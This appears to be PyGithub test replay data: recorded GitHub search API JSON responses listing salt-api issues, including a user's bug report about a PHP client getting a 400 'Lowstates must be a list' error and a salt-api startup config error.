http://docs.cherrypy.org/en/latest/refman/lib/cpstats.html?highlight=cpstats#module-cherrypy.lib.cpstats","score":1.0},{"url":"https://api.github.com/repos/saltstack/salt-api/issues/142","labels_url":"https://api.github.com/repos/saltstack/salt-api/issues/142/labels{/name}","comments_url":"https://api.github.com/repos/saltstack/salt-api/issues/142/comments","events_url":"https://api.github.com/repos/saltstack/salt-api/issues/142/events","html_url":"https://github.com/saltstack/salt-api/issues/142","id":29074591,"number":142,"title":"Use PHP to call API ,produce 400 Bad Request:Lowstates must be a list","user":{"login":"ivanwa","id":6895983,"avatar_url":"https://gravatar.com/avatar/5449da031675d985e6fb03f1d81dd6c2?d=https%3A%2F%2Fidenticons.github.com%2Fc7fd88fd0ac6e13142c23c2f1232baf5.png&r=x","gravatar_id":"5449da031675d985e6fb03f1d81dd6c2","url":"https://api.github.com/users/ivanwa","html_url":"https://github.com/ivanwa","followers_url":"https://api.github.com/users/ivanwa/followers","following_url":"https://api.github.com/users/ivanwa/following{/other_user}","gists_url":"https://api.github.com/users/ivanwa/gists{/gist_id}","starred_url":"https://api.github.com/users/ivanwa/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ivanwa/subscriptions","organizations_url":"https://api.github.com/users/ivanwa/orgs","repos_url":"https://api.github.com/users/ivanwa/repos","events_url":"https://api.github.com/users/ivanwa/events{/privacy}","received_events_url":"https://api.github.com/users/ivanwa/received_events","type":"User","site_admin":false},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":3,"created_at":"2014-03-10T06:15:11Z","updated_at":"2014-03-11T14:09:12Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"An error message:\r\n400 Bad Request\r\n\r\nLowstates must be a list\r\n\r\nTraceback (most recent call last):\r\n File \"/usr/lib/python2.6/site-packages/cherrypy/_cprequest.py\", line 656, in respond\r\n response.body = self.handler()\r\n File \"/usr/lib/python2.6/site-packages/cherrypy/lib/encoding.py\", line 188, in __call__\r\n self.body = self.oldhandler(*args, **kwargs)\r\n File \"/usr/lib/python2.6/site-packages/saltapi/netapi/rest_cherrypy/app.py\", line 273, in hypermedia_handler\r\n ret = cherrypy.serving.request._hypermedia_inner_handler(*args, **kwargs)\r\n File \"/usr/lib/python2.6/site-packages/cherrypy/_cpdispatch.py\", line 34, in __call__\r\n return self.callable(*self.args, **self.kwargs)\r\n File \"/usr/lib/python2.6/site-packages/saltapi/netapi/rest_cherrypy/app.py\", line 1074, in POST\r\n 'return': list(self.exec_lowstate()),\r\n File \"/usr/lib/python2.6/site-packages/saltapi/netapi/rest_cherrypy/app.py\", line 490, in exec_lowstate\r\n raise cherrypy.HTTPError(400, 'Lowstates must be a list')\r\nHTTPError: (400, 'Lowstates must be a list')\r\n\r\n--------------------------------------------------------------------------------------------------------------------------------\r\nAnd I use the command line to run, but it can be successful.\r\n[root@localhost salt]# curl -k https://192.168.1.159:8000/run/ \\\r\n> -H \"Accept: application/x-yaml\" \\\r\n> -d username='saltapi' \\\r\n> -d password='123456' \\\r\n> -d eauth='pam' \\\r\n> -d client='local' \\\r\n> -d tgt='*' \\\r\n> -d fun='test.ping'\r\nreturn:\r\n- {}\r\n\r\n--------------------------------------------------------------------------------------------------------------------------------\r\nMy PHP script : index.php\r\n$url = \"https://192.168.1.159:8000/run\";\r\n$post_data = array (\r\n\t\t\"username\" => \"saltapi\",\r\n\t\t\"password\" => \"123456\",\r\n\t\t\"eauth\" => \"pam\",\r\n\t\t\"client\" => \"local\",\r\n\t\t\"tgt\" => \"*\",\r\n\t\t\"fun\" => \"test.ping\",\r\n\t\t\"arg\"=>\"\"\r\n);\r\n$ch = curl_init ();\r\ncurl_setopt ( $ch, CURLOPT_URL, $url );\r\ncurl_setopt ( $ch, CURLOPT_SSL_VERIFYPEER, false );\r\ncurl_setopt ( $ch, CURLOPT_SSL_VERIFYHOST, false );\r\ncurl_setopt($ch, CURLOPT_HTTPHEADER, array(\"Content-type: application/x-www-form-urlencoded\",'Expect:'));\r\ncurl_setopt ( $ch, CURLOPT_RETURNTRANSFER, 1 );\r\n\r\ncurl_setopt ( $ch, CURLOPT_POST, 1 );\r\ncurl_setopt ( $ch, CURLOPT_POSTFIELDS, $post_data );\r\n$output = curl_exec ( $ch );\r\ncurl_close ( $ch );\r\n// print\r\nprint_r ( $output );\r\n\r\n--------------------------------------------------------------------------------------------------------------------------------\r\nMy master:\r\ninterface: 192.168.1.159\r\n\r\nrest_cherrypy:\r\n host: 0.0.0.0\r\n port: 8000\r\n debug: true\r\n static: /salt-webui/halite/halite\r\n app: /salt-webui/halite/halite\r\n ssl_crt: /etc/pki/tls/certs/localhost.crt\r\n ssl_key: /etc/pki/tls/private/localhost_nopass.key\r\n\r\nexternal_auth:\r\n pam:\r\n saltapi:\r\n - .*","score":1.0},{"url":"https://api.github.com/repos/saltstack/salt-api/issues/141","labels_url":"https://api.github.com/repos/saltstack/salt-api/issues/141/labels{/name}","comments_url":"https://api.github.com/repos/saltstack/salt-api/issues/141/comments","events_url":"https://api.github.com/repos/saltstack/salt-api/issues/141/events","html_url":"https://github.com/saltstack/salt-api/issues/141","id":28842635,"number":141,"title":"get error when start salt-api [ERROR ] Not loading 'rest_wsgi'. 'port' not specified in config","user":{"login":"justlooks","id":295168,"avatar_url":"https://gravatar.com/avatar/ca2d4ef0024cd926cc7a6218f7a4aed8?d=https%3A%2F%2Fidenticons.github.com%2F32491008424b6a810a81a3bfd7c139a9.png&r=x","gravatar_id":"ca2d4ef0024cd926cc7a6218f7a4aed8","url":"https://api.github.com/users/justlooks","html_url":"https://github.com/justlooks","followers_url":"https://api.github.com/users/justlooks/followers","following_url":"https://api.github.com/users/justlooks/following{/other_user}","gists_url":"https://api.github.com/users/justlooks/gists{/gist_id}","starred_url":"https://api.github.com/users/justlooks/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/justlooks/subscriptions","organizations_url":"https://api.github.com/users/justlooks/orgs","repos_url":"https://api.github.com/users/justlooks/repos","events_url":"https://api.github.com/users/justlooks/events{/privacy}","received_events_url":"https://api.github.com/users/justlooks/received_events","type":"User","site_admin":false},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2014-03-06T01:23:22Z","updated_at":"2014-03-06T02:31:20Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"# service salt-api start\r\nStarting salt-api daemon: [ERROR ] Not loading 'rest_wsgi'. 'port' not specified in config\r\n[06/Mar/2014:09:20:31] ENGINE Listening for SIGHUP.\r\n[06/Mar/2014:09:20:31] ENGINE Listening for SIGTERM.\r\n[06/Mar/2014:09:20:31] ENGINE Listening for SIGUSR1.\r\n[06/Mar/2014:09:20:31] ENGINE Bus STARTING\r\nCherryPy Checker:\r\n'log_file' is obsolete. Use 'log.error_file' instead.\r\nsection: [saltopts]\r\n\r\n[06/Mar/2014:09:20:31] ENGINE Started monitor thread '_TimeoutMonitor'.\r\n[06/Mar/2014:09:20:31] ENGINE Started monitor thread 'Autoreloader'.\r\n[06/Mar/2014:09:20:31] ENGINE Serving on 0.0.0.0:8888\r\n[06/Mar/2014:09:20:31] ENGINE Bus STARTED\r\n","score":1.0},{"url":"https://api.github.com/repos/saltstack/salt-api/issues/73","labels_url":"https://api.github.com/repos/saltstack/salt-api/issues/73/labels{/name}","comments_url":"https://api.github.com/repos/saltstack/salt-api/issues/73/comments","events_url":"https://api.github.com/repos/saltstack/salt-api/issues/73/events","html_url":"https://github.com/saltstack/salt-api/issues/73","id":13141224,"number":73,"title":"Add a zero-dep, bare-WSGI REST module","user":{"login":"whiteinge","id":91293,"avatar_url":"https://gravatar.com/avatar/f0bb4c8e95d355891ab9028e4bac480e?d=https%3A%2F%2Fidenticons.github.com%2Fa310e640ddcc1bf22c861dddb9ff4f76.png&r=x","gravatar_id":"f0bb4c8e95d355891ab9028e4bac480e","url":"https://api.github.com/users/whiteinge","html_url":"https://github.com/whiteinge","followers_url":"https://api.github.com/users/whiteinge/followers","following_url":"https://api.github.com/users/whiteinge/following{/other_user}","gists_url":"https://api.github.com/users/whiteinge/gists{/gist_id}","starred_url":"https://api.github.com/users/whiteinge/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/whiteinge/subscriptions","organizations_url":"https://api.github.com/users/whiteinge/orgs","repos_url":"https://api.github.com/users/whiteinge/repos","events_url":"https://api.github.com/users/whiteinge/events{/privacy}","received_events_url":"https://api.github.com/users/whiteinge/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/saltstack/salt-api/labels/0+-+Backlog","name":"0 - Backlog","color":"CCCCCC"}],"state":"closed","assignee":null,"milestone":{"url":"https://api.github.com/repos/saltstack/salt-api/milestones/2","labels_url":"https://api.github.com/repos/saltstack/salt-api/milestones/2/labels","id":187473,"number":2,"title":"Approved for future release","description":"","creator":{"login":"thatch45","id":507599,"avatar_url":"https://gravatar.com/avatar/ff7bc69b52eecf808141c470543db4f3?d=https%3A%2F%2Fidenticons.github.com%2F6a6eafefee200db675061e2df14be5f7.png&r=x","gravatar_id":"ff7bc69b52eecf808141c470543db4f3","url":"https://api.github.com/users/thatch45","html_url":"https://github.com/thatch45","followers_url":"https://api.github.com/users/thatch45/followers","following_url":"https://api.github.com/users/thatch45/following{/other_user}","gists_url":"https://api.github.com/users/thatch45/gists{/gist_id}","starred_url":"https://api.github.com/users/thatch45/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/thatch45/subscriptions","organizations_url":"https://api.github.com/users/thatch45/orgs","repos_url":"https://api.github.com/users/thatch45/repos","events_url":"https://api.github.com/users/thatch45/events{/privacy}","received_events_url":"https://api.github.com/users/thatch45/received_events","type":"User","site_admin":false},"open_issues":1,"closed_issues":7,"state":"open","created_at":"2012-10-01T17:16:46Z","updated_at":"2014-03-04T18:08:09Z","due_on":null},"comments":1,"created_at":"2013-04-12T21:56:30Z","updated_at":"2014-03-04T21:13:47Z","closed_at":"2013-04-13T05:57:19Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"A bare-bones \"REST\" WSGI app could be accomplished with just the Python stdlib in about ~200 LOC so we might as well. :)\r\n\r\n* Only handles JSON in/out.\r\n* Only provide a single URL.\r\n* Basically mimic the ``/run`` URL in the ``rest_cherrypy`` module.","score":1.0},{"url":"https://api.github.com/repos/saltstack/salt-api/issues/49","labels_url":"https://api.github.com/repos/saltstack/salt-api/issues/49/labels{/name}","comments_url":"https://api.github.com/repos/saltstack/salt-api/issues/49/comments","events_url":"https://api.github.com/repos/saltstack/salt-api/issues/49/events","html_url":"https://github.com/saltstack/salt-api/issues/49","id":11388256,"number":49,"title":"More information in jobs resource response","user":{"login":"sfdc-kho","id":3269880,"avatar_url":"https://gravatar.com/avatar/79dd31020b3bea2124d60cb5e3cd2edf?d=https%3A%2F%2Fidenticons.github.com%2Fad2f6831adfe0801e929c20710d3e537.png&r=x","gravatar_id":"79dd31020b3bea2124d60cb5e3cd2edf","url":"https://api.github.com/users/sfdc-kho","html_url":"https://github.com/sfdc-kho","followers_url":"https://api.github.com/users/sfdc-kho/followers","following_url":"https://api.github.com/users/sfdc-kho/following{/other_user}","gists_url":"https://api.github.com/users/sfdc-kho/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdc-kho/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdc-kho/subscriptions","organizations_url":"https://api.github.com/users/sfdc-kho/orgs","repos_url":"https://api.github.com/users/sfdc-kho/repos","events_url":"https://api.github.com/users/sfdc-kho/events{/privacy}","received_events_url":"https://api.github.com/users/sfdc-kho/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/saltstack/salt-api/labels/0+-+Backlog","name":"0 - Backlog","color":"CCCCCC"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/saltstack/salt-api/milestones/2","labels_url":"https://api.github.com/repos/saltstack/salt-api/milestones/2/labels","id":187473,"number":2,"title":"Approved for future release","description":"","creator":{"login":"thatch45","id":507599,"avatar_url":"https://gravatar.com/avatar/ff7bc69b52eecf808141c470543db4f3?d=https%3A%2F%2Fidenticons.github.com%2F6a6eafefee200db675061e2df14be5f7.png&r=x","gravatar_id":"ff7bc69b52eecf808141c470543db4f3","url":"https://api.github.com/users/thatch45","html_url":"https://github.com/thatch45","followers_url":"https://api.github.com/users/thatch45/followers","following_url":"https://api.github.com/users/thatch45/following{/other_user}","gists_url":"https://api.github.com/users/thatch45/gists{/gist_id}","starred_url":"https://api.github.com/users/thatch45/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/thatch45/subscriptions","organizations_url":"https://api.github.com/users/thatch45/orgs","repos_url":"https://api.github.com/users/thatch45/repos","events_url":"https://api.github.com/users/thatch45/events{/privacy}","received_events_url":"https://api.github.com/users/thatch45/received_events","type":"User","site_admin":false},"open_issues":1,"closed_issues":7,"state":"open","created_at":"2012-10-01T17:16:46Z","updated_at":"2014-03-04T18:08:09Z","due_on":null},"comments":4,"created_at":"2013-02-26T00:44:05Z","updated_at":"2014-03-04T18:28:12Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Currently, the minion response when a job hasn't completed is:\r\nbash-3.2$ curl -i localhost:8000/jobs/20130225115005304834 \\\r\n> -H \"X-Auth-Token: 129c6a5dadd1463932fd9db452b52148c44c6c91\" \\\r\n> -H \"Accept: application/json\"\r\nHTTP/1.1 200 OK\r\nContent-Length: 16\r\nVary: Accept-Encoding\r\nServer: CherryPy/3.2.2\r\nAllow: GET, HEAD, POST\r\nCache-Control: private\r\nDate: Mon, 25 Feb 2013 19:50:12 GMT\r\nContent-Type: application/json\r\nSet-Cookie: session_id=129c6a5dadd1463932fd9db452b52148c44c6c91; expires=Tue, 26 Feb 2013 05:50:12 GMT; Path=/\r\n\r\n{\"return\": [{}]}\r\n\r\nI am using this and a combination of saltutil.running to determine whether the job is still running, dead or completed. However, if the other issues like streaming responses get incorporated, it will become increasingly difficult to detect the state of any given job. Is it possible to return more information about what the state of the job is in the response?\r\n\r\n\r\n","score":1.0}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Search.testUrlquotingOfQuery.txt0000644000175100001660000004710714756101563024520 0ustar00runnerdockerhttps GET api.github.com None /search/issues?q=repo%3Asaltstack%2Fsalt-api+type%3AIssues+updated%3A%3E2014-03-04T18%3A28%3A11Z {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '29'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '62E81E32:490B:3BB7A87:5325E2ED'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept-Encoding'), ('content-length', '19065'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '30'), ('cache-control', 'no-cache'), ('date', 'Sun, 16 Mar 2014 17:44:14 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1394991914')] {"total_count":6,"items":[{"url":"https://api.github.com/repos/saltstack/salt-api/issues/144","labels_url":"https://api.github.com/repos/saltstack/salt-api/issues/144/labels{/name}","comments_url":"https://api.github.com/repos/saltstack/salt-api/issues/144/comments","events_url":"https://api.github.com/repos/saltstack/salt-api/issues/144/events","html_url":"https://github.com/saltstack/salt-api/pull/144","id":29138794,"number":144,"title":"tools.cpstats.on needs to be placed under root","user":{"login":"LucasEwalt","id":193133,"avatar_url":"https://gravatar.com/avatar/34a7644f0fd54bbc2c41e0f34b0ef1ea?d=https%3A%2F%2Fidenticons.github.com%2Fd1ea33a87ab250461f229f3be959de3b.png&r=x","gravatar_id":"34a7644f0fd54bbc2c41e0f34b0ef1ea","url":"https://api.github.com/users/LucasEwalt","html_url":"https://github.com/LucasEwalt","followers_url":"https://api.github.com/users/LucasEwalt/followers","following_url":"https://api.github.com/users/LucasEwalt/following{/other_user}","gists_url":"https://api.github.com/users/LucasEwalt/gists{/gist_id}","starred_url":"https://api.github.com/users/LucasEwalt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/LucasEwalt/subscriptions","organizations_url":"https://api.github.com/users/LucasEwalt/orgs","repos_url":"https://api.github.com/users/LucasEwalt/repos","events_url":"https://api.github.com/users/LucasEwalt/events{/privacy}","received_events_url":"https://api.github.com/users/LucasEwalt/received_events","type":"User","site_admin":false},"labels":[],"state":"closed","assignee":null,"milestone":null,"comments":0,"created_at":"2014-03-10T22:31:05Z","updated_at":"2014-03-10T22:32:46Z","closed_at":"2014-03-10T22:32:46Z","pull_request":{"html_url":"https://github.com/saltstack/salt-api/pull/144","diff_url":"https://github.com/saltstack/salt-api/pull/144.diff","patch_url":"https://github.com/saltstack/salt-api/pull/144.patch"},"body":"Small error, tools.cpstats.on actually needs to be under root for metrics to be collected for all requests.","score":1.0},{"url":"https://api.github.com/repos/saltstack/salt-api/issues/143","labels_url":"https://api.github.com/repos/saltstack/salt-api/issues/143/labels{/name}","comments_url":"https://api.github.com/repos/saltstack/salt-api/issues/143/comments","events_url":"https://api.github.com/repos/saltstack/salt-api/issues/143/events","html_url":"https://github.com/saltstack/salt-api/pull/143","id":29119248,"number":143,"title":"Expose cherrypy metrics","user":{"login":"LucasEwalt","id":193133,"avatar_url":"https://gravatar.com/avatar/34a7644f0fd54bbc2c41e0f34b0ef1ea?d=https%3A%2F%2Fidenticons.github.com%2Fd1ea33a87ab250461f229f3be959de3b.png&r=x","gravatar_id":"34a7644f0fd54bbc2c41e0f34b0ef1ea","url":"https://api.github.com/users/LucasEwalt","html_url":"https://github.com/LucasEwalt","followers_url":"https://api.github.com/users/LucasEwalt/followers","following_url":"https://api.github.com/users/LucasEwalt/following{/other_user}","gists_url":"https://api.github.com/users/LucasEwalt/gists{/gist_id}","starred_url":"https://api.github.com/users/LucasEwalt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/LucasEwalt/subscriptions","organizations_url":"https://api.github.com/users/LucasEwalt/orgs","repos_url":"https://api.github.com/users/LucasEwalt/repos","events_url":"https://api.github.com/users/LucasEwalt/events{/privacy}","received_events_url":"https://api.github.com/users/LucasEwalt/received_events","type":"User","site_admin":false},"labels":[],"state":"closed","assignee":null,"milestone":null,"comments":4,"created_at":"2014-03-10T18:20:29Z","updated_at":"2014-03-11T15:56:02Z","closed_at":"2014-03-10T22:08:21Z","pull_request":{"html_url":"https://github.com/saltstack/salt-api/pull/143","diff_url":"https://github.com/saltstack/salt-api/pull/143.diff","patch_url":"https://github.com/saltstack/salt-api/pull/143.patch"},"body":"Expose cherrycp cpstats via /stats URI. http://docs.cherrypy.org/en/latest/refman/lib/cpstats.html?highlight=cpstats#module-cherrypy.lib.cpstats","score":1.0},{"url":"https://api.github.com/repos/saltstack/salt-api/issues/142","labels_url":"https://api.github.com/repos/saltstack/salt-api/issues/142/labels{/name}","comments_url":"https://api.github.com/repos/saltstack/salt-api/issues/142/comments","events_url":"https://api.github.com/repos/saltstack/salt-api/issues/142/events","html_url":"https://github.com/saltstack/salt-api/issues/142","id":29074591,"number":142,"title":"Use PHP to call API ,produce 400 Bad Request:Lowstates must be a list","user":{"login":"ivanwa","id":6895983,"avatar_url":"https://gravatar.com/avatar/5449da031675d985e6fb03f1d81dd6c2?d=https%3A%2F%2Fidenticons.github.com%2Fc7fd88fd0ac6e13142c23c2f1232baf5.png&r=x","gravatar_id":"5449da031675d985e6fb03f1d81dd6c2","url":"https://api.github.com/users/ivanwa","html_url":"https://github.com/ivanwa","followers_url":"https://api.github.com/users/ivanwa/followers","following_url":"https://api.github.com/users/ivanwa/following{/other_user}","gists_url":"https://api.github.com/users/ivanwa/gists{/gist_id}","starred_url":"https://api.github.com/users/ivanwa/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ivanwa/subscriptions","organizations_url":"https://api.github.com/users/ivanwa/orgs","repos_url":"https://api.github.com/users/ivanwa/repos","events_url":"https://api.github.com/users/ivanwa/events{/privacy}","received_events_url":"https://api.github.com/users/ivanwa/received_events","type":"User","site_admin":false},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":3,"created_at":"2014-03-10T06:15:11Z","updated_at":"2014-03-11T14:09:12Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"An error message:\r\n400 Bad Request\r\n\r\nLowstates must be a list\r\n\r\nTraceback (most recent call last):\r\n File \"/usr/lib/python2.6/site-packages/cherrypy/_cprequest.py\", line 656, in respond\r\n response.body = self.handler()\r\n File \"/usr/lib/python2.6/site-packages/cherrypy/lib/encoding.py\", line 188, in __call__\r\n self.body = self.oldhandler(*args, **kwargs)\r\n File \"/usr/lib/python2.6/site-packages/saltapi/netapi/rest_cherrypy/app.py\", line 273, in hypermedia_handler\r\n ret = cherrypy.serving.request._hypermedia_inner_handler(*args, **kwargs)\r\n File \"/usr/lib/python2.6/site-packages/cherrypy/_cpdispatch.py\", line 34, in __call__\r\n return self.callable(*self.args, **self.kwargs)\r\n File \"/usr/lib/python2.6/site-packages/saltapi/netapi/rest_cherrypy/app.py\", line 1074, in POST\r\n 'return': list(self.exec_lowstate()),\r\n File \"/usr/lib/python2.6/site-packages/saltapi/netapi/rest_cherrypy/app.py\", line 490, in exec_lowstate\r\n raise cherrypy.HTTPError(400, 'Lowstates must be a list')\r\nHTTPError: (400, 'Lowstates must be a list')\r\n\r\n--------------------------------------------------------------------------------------------------------------------------------\r\nAnd I use the command line to run, but it can be successful.\r\n[root@localhost salt]# curl -k https://192.168.1.159:8000/run/ \\\r\n> -H \"Accept: application/x-yaml\" \\\r\n> -d username='saltapi' \\\r\n> -d password='123456' \\\r\n> -d eauth='pam' \\\r\n> -d client='local' \\\r\n> -d tgt='*' \\\r\n> -d fun='test.ping'\r\nreturn:\r\n- {}\r\n\r\n--------------------------------------------------------------------------------------------------------------------------------\r\nMy PHP script : index.php\r\n$url = \"https://192.168.1.159:8000/run\";\r\n$post_data = array (\r\n\t\t\"username\" => \"saltapi\",\r\n\t\t\"password\" => \"123456\",\r\n\t\t\"eauth\" => \"pam\",\r\n\t\t\"client\" => \"local\",\r\n\t\t\"tgt\" => \"*\",\r\n\t\t\"fun\" => \"test.ping\",\r\n\t\t\"arg\"=>\"\"\r\n);\r\n$ch = curl_init ();\r\ncurl_setopt ( $ch, CURLOPT_URL, $url );\r\ncurl_setopt ( $ch, CURLOPT_SSL_VERIFYPEER, false );\r\ncurl_setopt ( $ch, CURLOPT_SSL_VERIFYHOST, false );\r\ncurl_setopt($ch, CURLOPT_HTTPHEADER, array(\"Content-type: application/x-www-form-urlencoded\",'Expect:'));\r\ncurl_setopt ( $ch, CURLOPT_RETURNTRANSFER, 1 );\r\n\r\ncurl_setopt ( $ch, CURLOPT_POST, 1 );\r\ncurl_setopt ( $ch, CURLOPT_POSTFIELDS, $post_data );\r\n$output = curl_exec ( $ch );\r\ncurl_close ( $ch );\r\n// print\r\nprint_r ( $output );\r\n\r\n--------------------------------------------------------------------------------------------------------------------------------\r\nMy master:\r\ninterface: 192.168.1.159\r\n\r\nrest_cherrypy:\r\n host: 0.0.0.0\r\n port: 8000\r\n debug: true\r\n static: /salt-webui/halite/halite\r\n app: /salt-webui/halite/halite\r\n ssl_crt: /etc/pki/tls/certs/localhost.crt\r\n ssl_key: /etc/pki/tls/private/localhost_nopass.key\r\n\r\nexternal_auth:\r\n pam:\r\n saltapi:\r\n - .*","score":1.0},{"url":"https://api.github.com/repos/saltstack/salt-api/issues/141","labels_url":"https://api.github.com/repos/saltstack/salt-api/issues/141/labels{/name}","comments_url":"https://api.github.com/repos/saltstack/salt-api/issues/141/comments","events_url":"https://api.github.com/repos/saltstack/salt-api/issues/141/events","html_url":"https://github.com/saltstack/salt-api/issues/141","id":28842635,"number":141,"title":"get error when start salt-api [ERROR ] Not loading 'rest_wsgi'. 'port' not specified in config","user":{"login":"justlooks","id":295168,"avatar_url":"https://gravatar.com/avatar/ca2d4ef0024cd926cc7a6218f7a4aed8?d=https%3A%2F%2Fidenticons.github.com%2F32491008424b6a810a81a3bfd7c139a9.png&r=x","gravatar_id":"ca2d4ef0024cd926cc7a6218f7a4aed8","url":"https://api.github.com/users/justlooks","html_url":"https://github.com/justlooks","followers_url":"https://api.github.com/users/justlooks/followers","following_url":"https://api.github.com/users/justlooks/following{/other_user}","gists_url":"https://api.github.com/users/justlooks/gists{/gist_id}","starred_url":"https://api.github.com/users/justlooks/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/justlooks/subscriptions","organizations_url":"https://api.github.com/users/justlooks/orgs","repos_url":"https://api.github.com/users/justlooks/repos","events_url":"https://api.github.com/users/justlooks/events{/privacy}","received_events_url":"https://api.github.com/users/justlooks/received_events","type":"User","site_admin":false},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2014-03-06T01:23:22Z","updated_at":"2014-03-06T02:31:20Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"# service salt-api start\r\nStarting salt-api daemon: [ERROR ] Not loading 'rest_wsgi'. 'port' not specified in config\r\n[06/Mar/2014:09:20:31] ENGINE Listening for SIGHUP.\r\n[06/Mar/2014:09:20:31] ENGINE Listening for SIGTERM.\r\n[06/Mar/2014:09:20:31] ENGINE Listening for SIGUSR1.\r\n[06/Mar/2014:09:20:31] ENGINE Bus STARTING\r\nCherryPy Checker:\r\n'log_file' is obsolete. Use 'log.error_file' instead.\r\nsection: [saltopts]\r\n\r\n[06/Mar/2014:09:20:31] ENGINE Started monitor thread '_TimeoutMonitor'.\r\n[06/Mar/2014:09:20:31] ENGINE Started monitor thread 'Autoreloader'.\r\n[06/Mar/2014:09:20:31] ENGINE Serving on 0.0.0.0:8888\r\n[06/Mar/2014:09:20:31] ENGINE Bus STARTED\r\n","score":1.0},{"url":"https://api.github.com/repos/saltstack/salt-api/issues/73","labels_url":"https://api.github.com/repos/saltstack/salt-api/issues/73/labels{/name}","comments_url":"https://api.github.com/repos/saltstack/salt-api/issues/73/comments","events_url":"https://api.github.com/repos/saltstack/salt-api/issues/73/events","html_url":"https://github.com/saltstack/salt-api/issues/73","id":13141224,"number":73,"title":"Add a zero-dep, bare-WSGI REST module","user":{"login":"whiteinge","id":91293,"avatar_url":"https://gravatar.com/avatar/f0bb4c8e95d355891ab9028e4bac480e?d=https%3A%2F%2Fidenticons.github.com%2Fa310e640ddcc1bf22c861dddb9ff4f76.png&r=x","gravatar_id":"f0bb4c8e95d355891ab9028e4bac480e","url":"https://api.github.com/users/whiteinge","html_url":"https://github.com/whiteinge","followers_url":"https://api.github.com/users/whiteinge/followers","following_url":"https://api.github.com/users/whiteinge/following{/other_user}","gists_url":"https://api.github.com/users/whiteinge/gists{/gist_id}","starred_url":"https://api.github.com/users/whiteinge/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/whiteinge/subscriptions","organizations_url":"https://api.github.com/users/whiteinge/orgs","repos_url":"https://api.github.com/users/whiteinge/repos","events_url":"https://api.github.com/users/whiteinge/events{/privacy}","received_events_url":"https://api.github.com/users/whiteinge/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/saltstack/salt-api/labels/0+-+Backlog","name":"0 - Backlog","color":"CCCCCC"}],"state":"closed","assignee":null,"milestone":{"url":"https://api.github.com/repos/saltstack/salt-api/milestones/2","labels_url":"https://api.github.com/repos/saltstack/salt-api/milestones/2/labels","id":187473,"number":2,"title":"Approved for future release","description":"","creator":{"login":"thatch45","id":507599,"avatar_url":"https://gravatar.com/avatar/ff7bc69b52eecf808141c470543db4f3?d=https%3A%2F%2Fidenticons.github.com%2F6a6eafefee200db675061e2df14be5f7.png&r=x","gravatar_id":"ff7bc69b52eecf808141c470543db4f3","url":"https://api.github.com/users/thatch45","html_url":"https://github.com/thatch45","followers_url":"https://api.github.com/users/thatch45/followers","following_url":"https://api.github.com/users/thatch45/following{/other_user}","gists_url":"https://api.github.com/users/thatch45/gists{/gist_id}","starred_url":"https://api.github.com/users/thatch45/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/thatch45/subscriptions","organizations_url":"https://api.github.com/users/thatch45/orgs","repos_url":"https://api.github.com/users/thatch45/repos","events_url":"https://api.github.com/users/thatch45/events{/privacy}","received_events_url":"https://api.github.com/users/thatch45/received_events","type":"User","site_admin":false},"open_issues":1,"closed_issues":7,"state":"open","created_at":"2012-10-01T17:16:46Z","updated_at":"2014-03-04T18:08:09Z","due_on":null},"comments":1,"created_at":"2013-04-12T21:56:30Z","updated_at":"2014-03-04T21:13:47Z","closed_at":"2013-04-13T05:57:19Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"A bare-bones \"REST\" WSGI app could be accomplished with just the Python stdlib in about ~200 LOC so we might as well. :)\r\n\r\n* Only handles JSON in/out.\r\n* Only provide a single URL.\r\n* Basically mimic the ``/run`` URL in the ``rest_cherrypy`` module.","score":1.0},{"url":"https://api.github.com/repos/saltstack/salt-api/issues/49","labels_url":"https://api.github.com/repos/saltstack/salt-api/issues/49/labels{/name}","comments_url":"https://api.github.com/repos/saltstack/salt-api/issues/49/comments","events_url":"https://api.github.com/repos/saltstack/salt-api/issues/49/events","html_url":"https://github.com/saltstack/salt-api/issues/49","id":11388256,"number":49,"title":"More information in jobs resource 